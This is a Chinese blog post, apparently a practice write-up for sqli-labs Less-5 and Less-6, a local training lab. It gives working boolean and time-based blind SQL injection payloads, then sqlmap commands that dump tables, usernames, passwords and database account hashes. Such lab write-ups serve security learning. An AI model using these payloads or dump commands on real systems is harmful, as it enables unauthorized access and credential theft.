sqli-lab平台练习五、六

本文详细介绍了在sqli-lab平台中,Less-5和Less-6两个关卡的GET方式双注入攻击。通过布尔型和时间型手工注入,演示了如何判断数据库内容、爆破数据库名、表名、字段名及内容。同时,还介绍了利用SQLmap自动化工具进行快速爆破的过程,展示了SQLmap的一些常用命令。
摘要由CSDN通过智能技术生成

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

开始先用常规步骤去试:发现网页没有出现数据库名,即没有出现常规的回显
在这里插入图片描述
我们把这个成为…类似的…盲注?(因为盲注不会有回显,但这个有网页的显示,可能只是开始我们学习,帮助我们判断)

这里总结几个判断数据库内容的函数

  1. 猜测数据库名字的长度:
id=1' and length(database())=8(你所猜测的数据长度) --+

可以看到盲注时只有猜测条件正确是网页会有对应的变化
在这里插入图片描述
不符合条件时:
在这里插入图片描述2.猜测当前数据库有多少表

?id=1' and 1=((select count(*) from information_schema.tables where table_schema='数据库名字')=数据表数)

3.猜测某个表里有多少列:

?id=1' and ((select count(*) from information_schema.columns where table_schema=‘数据库名’ and table_name='数据表名')=猜测列数) --+

那么开始盲注爆破,大概看了一下流程感觉手工注入很麻烦.,需要逐字爆破…

一.布尔型手工注入

布尔型注入,正确网页会回显,错误不回显。
爆破数据库(这里猜测第一个字母):

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left((select database()),1)='s' --+

在这里插入图片描述

盲注中left函数的使用: 函数left(a,b) sql的left()函数表示的是从字符表达式最左边一个字符开始返回指定数目的字符.若 b
的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串. 一般用来猜测库的名字

就这样一点一点试来爆破出库名为security
继续,
爆破表名:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+

通过limit x,1和left第二个参数这两个位置来限定爆破的位置
在这里插入图片描述爆破字段名:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit%201,1),8)='username' --+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' --+

爆破字段内容:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
  • 注:按照id排序,这样便于对应。注意limit 从0开始
  • mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

相关函数参考文章:https://blog.csdn.net/qq_41306131/article/details/84799049(SQL盲注中函数的用法)

二.时间型手工注入

时间延迟型注入,正确的会有延迟,错误的不会有反应,可以通过浏览器的状态来进行判断(但这样容易受网络状态影响,比如你的网很慢很慢…)
看到某位大佬的文章感觉说的很全,全程借鉴(感谢https://blog.csdn.net/qq_41420747/article/details/81836327):
本方法中payload = ?id=1’ and if(报错型payload核心部分,sleep(5),1)–+

所以首先猜测数据库长度

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),1) --+

当输入正确时,可以看到很明显的延迟:
在这里插入图片描述
同理爆破表名,得到明显延迟:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left ( (select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(8),1) --+

爆破列名:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and if( left ( (select column_name from information_schema.columns where table_name='users' limit%201,1),8)='username',sleep(8),1) --+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left ( (select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password',sleep(8),1) --+

爆破具体用户名密码的具体内容:然后就慢慢爆破出来就好了…

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

判断注入点:

http://127.0.0.1/sqli-labs-master/Less-6/?id=1"

发现程序出错,剩下的和五操作一样

这里,我们换一种方法来进行爆破—————当当当当~用鼎鼎大名的sqlmap
首先去网上按教程安装好Python环境和SQLmap

第一步,爆库:可以爆出MySql中所有的库

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbs

执行结果:
在这里插入图片描述
第二步 查找web当前使用的数据库:

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbs

可以看到当前数据库为security
在这里插入图片描述
第二步:列出所有的表:

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security --tables

-D 指定数据库
–tables 列出数据表
在这里插入图片描述
第三步:列出表中字段

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security -T users --columns

-D:指定数据库名称 -T:指定要列出字段的表 --columns:指定列出字段
在这里插入图片描述
第四步:爆字段内容

-C:指定要爆出的字段 --dump:将结果导出

python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security -T users -C"username,password" --dump

在这里插入图片描述
至此,数据库被爆破,简直很方便了

拓展,可以看一看SQLmap一些别的语句的用法:
1.列出MySQL所以用户的名字:

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --users

在这里插入图片描述
获取当前用户名:

`XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --current-user

在这里插入图片描述
2.获取当前账户与密码:

XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --passwords

借鉴文章:
1.https://zhuanlan.zhihu.com/p/35905745(SQL注入之SQLmap)——列举常见命令
2.https://www.jianshu.com/p/17509d0a1ba3(简书:SQLMap基础操作学习)——针对相关sqli-lab平台的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值